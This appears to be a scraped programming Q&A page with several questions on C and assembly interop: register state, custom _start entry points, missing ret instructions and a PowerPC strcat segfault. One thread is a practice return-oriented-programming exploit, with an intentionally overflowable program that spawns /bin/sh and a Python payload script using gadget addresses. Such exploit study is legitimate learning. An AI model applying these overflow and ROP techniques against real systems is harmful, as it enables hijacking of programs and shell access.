What is %rax initialized to? [duplicate] - c

This question already has answers here:
Why does it return a random value other than the value I give to the function?
(2 answers)
Nasm segmentation fault on RET in _start
(1 answer)
What is the default register state when program launches (asm, linux)?
(3 answers)
Closed 1 year ago.
hybrid.s
.section .text # specifices the beginning of the 'text' or code section
.global collatz # makes the name 'collatz' visible to the linker
collatz: # int collatz(long long n) {
ret # return
hybrid.c
#include <stdio.h>
#include <stdlib.h>
extern int collatz(long long n);
int main(int argc, char *argv[]){
if (argc < 2) {
printf("Parameter \"n\" is missing. \n");
return -1;
}
int output=0;
long long n = atoll(argv[1]);
for (long long i=1 ; i<n ; i++) {
output = collatz(i);
printf("collatz(%lld) is %d\n", i,output);
}
}
I was testing what %rax is initialized to by doing
>> gcc -o hybrid hybrid.c hybrid.s
>> ./hybrid 5
Yielding:
collatz(1) is 1
collatz(2) is 2
collatz(3) is 3
collatz(4) is 4
I expected hybrid.s to always return 0, since my guess was that %rax is initialized to 0; but as you can see, this is not the case. By observing the output, my hyptothesis is that %rax is equal to %rdi by default?
This prompts the question: What is %rax initialized to?
EDIT:
In the following whenever I say "run hybrid.s isolated", I mean "run hybrid.s isolated with all occurrences of collatz replaced by '_start'", of course.
Based on #ErikEidt's comment, Shouldn't running hybrid.s isolated as follows result in just returning whatever %rax was before (last set to), since it wasn't initialized? Why do I then get a Segmentation fault (core dumped)?
>> as hybrid.s -o hybrid.o
>> ld hybrid.o hybrid
>> ./hybrid 5
Yields
Segmentation fault (core dumped)
I mean the %rax has to contain some value at any given moment .. right? So why a segmentation fault instead of just returning that value?

Compile with debug info and open run it in gdb. Gdb can set a breakpoint and you can list the contents of your registers :) funny man's industry am I right 8))))))

Related

Linux getting terminal arguments from _start not working with inline assembly in C

I am trying to write my own _start function using inline assembly. But when I try to read argc and argv from stack (%rsp and %rsp + 8) I get wrong values. I don't know what I am doing wrong.
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <syscall.h>
int main(int argc, char *argv[]) {
printf("%d\n", argc);
printf("%s\n", argv[0]);
printf("got here\n");
return 0;
}
void _start() {
__asm__(
"xor %rbp, %rbp;"
"movl (%rsp), %edi;"
"lea 8(%rsp), %rsi;"
"xor %rax, %rax;"
"call main"
...
Terminal:
$ gcc test.c -nostartfiles
$ ./a.out one two three
0
Segmentation fault (core dumped)
$
Any idea where my fault could be ?
I am using a Ubuntu 20.04 VM
This looks correct for a minimal _start: but you put it inside a non-naked C function. Compiler-generated code will run, e.g. push %rbp / mov %rsp, %rbp, before execution enters before the asm statement. To see this, look at gcc -S output, or single-step in a debugger such as GDB.
Put your asm statement at global scope (like in How Get arguments value using inline assembly in C without Glibc?) or use __attribute__((naked)) on your _start(). Note that _start isn't really a function
As a rule, never use GNU C Basic asm statements in a non-naked function. Although you might get this to work with -O3 because that would imply -fomit-frame-pointer so the stack would still be pointing at argc and argv when your code ran.
A dynamically linked executable on GNU/Linux will run libc startup code from dynamic linker hooks, so you actually can use printf from _start without manually calling those init functions. Unlike if this was statically linked.
However, your main tries to return to your _start, but you don't show _start calling exit. You should call exit instead of making an _exit system call directly, to make sure stdio buffers get flushed even if output is redirected to a file (making stdout full buffered). Falling off the end of _start would be bad, crashing or getting into an infinite loop depending on what execution falls in to.

Simple ROP chain with 2 arguments to the function

I'm practicing with ROPchain and I have a very simple program, where I'm unable to call the 'vulnerable' function successfully:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void vuln(int a, int b) {
if (a == 0xdeadbeef && b == 231) {
system("/bin/sh\00");
}
}
int main() {
char buf[32];
printf("Input: ");
fgets(buf, 256, stdin);
printf("Result: %s", buf);
return 0;
}
Here's the file info for that binary:
program: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=95e46dcb8715548e3435a24e862efdf1a84c01fd, for GNU/Linux 3.2.0, not stripped
I'm using ROPgadget tool to get pop rsi ; pop r15 ; ret. And here is my exploit:
import struct
junk = 'A' * 32
ebp = 'B' * 8
ret_adr = struct.pack('<Q', 0x0000555555555155) # vuln
pop_rsi = struct.pack('<Q', 0x0000000000001239) # pop rsi ; pop r15 ; ret
arg_1 = struct.pack('<Q', 0xdeadbeef) # first argument
arg_2 = struct.pack('<Q', 231) # second argument
print junk + ebp + pop_rsi + arg_2 + arg_1 + ret_adr
And I'm calling the binary like so:
(python exploit.py; cat) | ./program
It just dies with Segmentation fault.
I tried changing the order of arguments as well, but still cannot make it work. What am I doing wrong?
P.S. It works perfectly if there's just 1 argument in that function and when I'm using pop rdi; ret.
You have a position independent executable, this means that addresses will change at runtime every time. You want an executable that is not PIE, compile with -no-pie -fno-pie, and then get the addresses you want again from the debugger or just with objdump.

How do I call ASM (GNU Assembler 32-bit intel syntax) function from C [duplicate]

This question already has answers here:
What if there is no return statement in a CALLed block of code in assembly programs
(2 answers)
Why is no value returned if a function does not explicity use 'ret'
(2 answers)
Closed 2 years ago.
I've got an assignment in one of my lectures and here I'm stuck right at the beginning.
My ASM file:
.intel_syntax noprefix
.text
.global stuff
stuff:
mov eax, 1
My C file:
#include <stdio.h>
extern int stuff();
int main()
{
int result = stuff();
printf("%d\n", result);
return 0;
}
and I compile with:
gcc -m32 -o runme main.c a.S
Edit:
./runme
prints 0 instead of expected 1. Why is that and how should I fix it?

Compile and run program without main() in C

I'm trying to compile and run following program without main() function in C. I have compiled my program using the following command.
gcc -nostartfiles nomain.c
And compiler gives warning
/usr/bin/ld: warning: cannot find entry symbol _start; defaulting to 0000000000400340
Ok, No problem. then, I have run executable file(a.out), both printf statements print successfully, and then get segmentation fault.
So, my question is, Why segmentation fault after successfully execute print statements?
my code:
#include <stdio.h>
void nomain()
{
printf("Hello World...\n");
printf("Successfully run without main...\n");
}
output:
Hello World...
Successfully run without main...
Segmentation fault (core dumped)
Note:
Here, -nostartfiles gcc flag prevents the compiler from using standard startup files when linking
Let's have a look at the generated assembly of your program:
.LC0:
.string "Hello World..."
.LC1:
.string "Successfully run without main..."
nomain:
push rbp
mov rbp, rsp
mov edi, OFFSET FLAT:.LC0
call puts
mov edi, OFFSET FLAT:.LC1
call puts
nop
pop rbp
ret
Note the ret statement. Your program's entry point is determined to be nomain, all is fine with that. But once the function returns, it attempts to jump into an address on the call stack... that isn't populated. That's an illegal access and a segmentation fault follows.
A quick solution would be to call exit() at the end of your program (and assuming C11 we might as well mark the function as _Noreturn):
#include <stdio.h>
#include <stdlib.h>
_Noreturn void nomain(void)
{
printf("Hello World...\n");
printf("Successfully run without main...\n");
exit(0);
}
In fact, now your function behaves pretty much like a regular main function, since after returning from main, the exit function is called with main's return value.
In C, when functions/subroutines are called the stack is populated as (in the order):
The arguments,
Return address,
Local variables, --> top of the stack
main() being the start point, ELF structures the program in such a way that whatever instructions comes first would get pushed first, in this case printfs are.
Now, program is sort of truncated without return-address OR __end__ and infact it assumes that whatever is there on the stack at that(__end__) location is the return-address, but unfortunately its not and hence it crashes.

Assembly of Powerpc encountered Program received signal SIGSEGV Segmentation fault

When I try to store something from register to memory, I received Segmentation fault error. As I used gdb to debug line by line, it shows up Program received signal SIGSEGV when comes to the line of stb.
What I tried to do is to implement the standard C strcat function in PowerPC Assembly.
Here's the main C program, pretty simple.
#include<stdio.h>
extern char *mystrcat(char *first, char *second);
int main(){
char *first, *second, *third;
first = "ab";
second = "cd";
third = mystrcat(first, second);
printf("%s\n", third);
return 0;
}
And this is my mystrcat.s powerpc assembly file.
.text
.align 2
.globl mystrcat
mystrcat:
mr %r5, %r3
.L1:
lbz %r6, 0(%r5)
cmpdi %r6, 0
beq .L2
addi %r5, %r5, 1
b .L1
.L2:
lbz %r6, 0(%r4)
stb %r6, 0(%r5)
addi %r4, %r4, 1
addi %r5, %r5, 1
cmpdi %r6, 0
beq .L3
b .L2
.L3:
blr
Before the L2 label is the process finding the end of the first string.
Gdb showed up "Program received signal SIGSEGV" at the second line after L2 label.
The stb %r6, 0(%r5) command seems raised the error.
But I just don't get it why it cannot figure out address by 0(%r5).
I've tried other command seems like stbx or stbu but no one works.
Thank you for everyone can give me even just little piece of advice.
Update:
I realized this has something to do with memory.
Since the memory for string is readonly, is there a way that I can allocate new memory inside assembly code? I tried "bl malloc" and "nop" and the behavior beyonds my understanding.
In your main function, you try to concatenate 2 strings with the destination one having no room enough to copy the source one at the end.
Trying to add a (kind of implicit) memory allocation in your function mystrcat will introduce confusion.
Note that the segmentation fault also appears using the standard strcat that you want to mimic.
You should fix you main function, writing something like that:
#include <stdio.h>
extern char *mystrcat(char *first, char *second);
int main(){
char first[8] = "ab";
char *second, *third;
second = "cd";
third = mystrcat(first, second);
printf("%s\n", third);
return 0;
}
String literals are stored in read only section of memory. Any attempt to modify string literals results in undefined behavior.

Resources